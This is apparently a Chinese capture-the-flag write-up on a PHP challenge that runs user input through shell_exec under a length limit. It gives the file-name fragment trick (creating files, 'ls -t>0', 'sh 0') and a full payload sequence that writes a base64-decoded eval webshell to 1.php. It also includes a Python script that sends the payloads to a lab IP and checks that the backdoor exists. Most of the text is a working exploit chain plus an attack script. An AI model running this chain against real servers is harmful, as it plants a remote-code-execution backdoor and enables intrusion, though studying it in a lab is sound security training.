题目源码:
<?php highlight_file(__FILE__); if(strlen($_GET[1]<7)){ echo strlen($_GET[1]); echo '<hr/>'; echo shell_exec($_GET[1]); }else{ exit('too long'); } ?>预备知识:
>a #虽然没有输入但是会创建a这个文件 ls -t #ls基于基于事件排序(从晚到早) sh a #sh会把a里面的每行内容当作命令来执行 使用|进行命令拼接 #l\ s = ls base64 #使用base64编码避免特殊字符写入语句
<?php eval($_GET[1]);base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.phppayload:
>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0脚本代码:
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests url = "http://192.168.61.157/rce.php?1={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #检查是否攻击成功 test = requests.get("http://192.168.61.157/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")